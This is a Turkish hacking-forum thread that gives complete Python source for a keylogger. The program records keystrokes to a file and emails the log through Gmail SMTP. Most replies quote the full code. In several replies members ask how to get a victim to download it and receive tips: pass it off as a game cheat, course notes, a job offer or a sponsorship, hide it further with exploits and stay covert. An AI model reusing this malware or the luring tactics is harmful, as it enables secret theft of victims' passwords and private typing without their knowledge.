Keylogger Yapımı (PYTHON)

Muslukcu

Katılımcı Üye
17 Kas 2021
699
262
Tesisat dükkanı
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.
Elinize sağlık
 
1 Şub 2023
135
80
python script'deki kütüphaneyi araştırdım birçok güzel methodu var.
mouse posizyonu,klavye dinleme,klavye ye tuş atama vs vs birçok istediğinizi yapabilirsiniz.
 
BU KEYLOGGER'I KARŞI TARAFA İNDİRTEBİLECEĞİM BİR SENERYO FİKRİ VEREBİLİR MİSİNİZ?
mesela csgo hilesi diyip atabilirsin,ders ile ilgili bir bilgi veriyor diyebilirsin.O kişi eğer tanıdığınsa onun oynadığı oyun veya istediği bir bilgiyi veren bir yazı diyebilirsin ve bunu bazı açıklar kullanarak daha fazla gizliye bilirsin buna e-postanı bağlatarak log.txt 50 harf den sonra atmasını söyleyebilirsin. (Not:bunları yaparken gizliliğin önemli olduğunu unutma.)
 

1wexter1

Katılımcı Üye
24 Eyl 2021
921
647
Uzayda1yer
Teşekkür ederim.
Teşekkür ederim.
mesela csgo hilesi diyip atabilirsin,ders ile ilgili bir bilgi veriyor diyebilirsin.O kişi eğer tanıdığınsa onun oynadığı oyun veya istediği bir bilgiyi veren bir yazı diyebilirsin ve bunu bazı açıklar kullanarak daha fazla gizliye bilirsin buna e-postanı bağlatarak log.txt 50 harf den sonra atmasını söyleyebilirsin. (Not:bunları yaparken gizliliğin önemli olduğunu unutma.)
Teşekkür ederim.
 

aram.xd

Yeni üye
31 Mar 2023
4
0
Elinize sağlik bu tür konular biraz daha yardım edebilecek arkadaslarimiz varsa yazabilir mi?
 
29 Ocak 2023
57
4
selam aleyküm herşeyi yaptım masaüstüne text dosyası olarak geldi onu nasıl exe vb yapacam
 

382ehil

Yeni üye
4 Nis 2023
1
0
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.

Bu keyloggeri karşı tarafa indirtebileceğim bir senaryo fikri verebilir misiniz?
ben bi beceremedim
 

KaSKeoT

Üye
7 Tem 2023
51
20
Tam Arkanda 👽👽
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.

Bu keyloggeri karşı tarafa indirtebileceğim bir senaryo fikri verebilir misiniz?
Senaryo fikri olarak bir iş hakkında senaryo kurabilirsin veya sponsorluk genellikle inanılan taktiklerdir.
 

1wexter1

Katılımcı Üye
24 Eyl 2021
921
647
Uzayda1yer
Güzel olmuş. Tebrikler.
Teşekkür ederim.
Elinize sağlik bu tür konular biraz daha yardım edebilecek arkadaslarimiz varsa yazabilir mi?
Teşekkür ederim.
ben bi beceremedim
Sorun nedir?
Teşekkür ederim.
Senaryo fikri olarak bir iş hakkında senaryo kurabilirsin veya sponsorluk genellikle inanılan taktiklerdir.
fikir için teşekkür ederim.
Teşekkür ederim.
 

Çaylak Eleman

Yeni üye
27 Ağu 2023
9
2
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.

Bu keyloggeri karşı tarafa indirtebileceğim bir senaryo fikri verebilir misiniz?
kanka ben hangi phthon yazıyor cmd olan mı yoksa başka mı yeniyim.
 

Bekbilisim

Yeni üye
29 Kas 2021
42
15
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.

Bu keyloggeri karşı tarafa indirtebileceğim bir senaryo fikri verebilir misiniz?
Eline sağlık
 

harasad

Katılımcı Üye
14 Eyl 2023
307
106
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.

Bu keyloggeri karşı tarafa indirtebileceğim bir senaryo fikri verebilir misiniz?
Süper paylaşım eline sağlık
 

invisible blood

Uzman üye
15 Eyl 2023
1,177
443
Öncelikle Terminale " pip install pynput " yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.




42 Kod İle Python'da Keylogger Yapımı;

Kod:
import pynput
import smtplib


from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} basıldı".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        from email.mime.text import MIMEText
        with open('log.txt') as fp:

            msg = MIMEText(fp.read())


        msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
        msg['From'] = "gonderilecek_mail_adresi"
        msg['To'] = "gonderilecek_mail_adresi"


        s = smtplib.SMTP("smtp.gmail.com",587)
        s.ehlo()
        s.starttls()
        s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
        s.send_message(msg)
        s.quit()


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()


Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.

Bu keyloggeri karşı tarafa indirtebileceğim bir senaryo fikri verebilir misiniz?
Abi çok sağol ne zamandır arıyodum böfyle bişey bi sorum olcak abi şimdi terminal derken cmd veya powershell ile çalıştırsak ta olurmu abi pynput için?
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.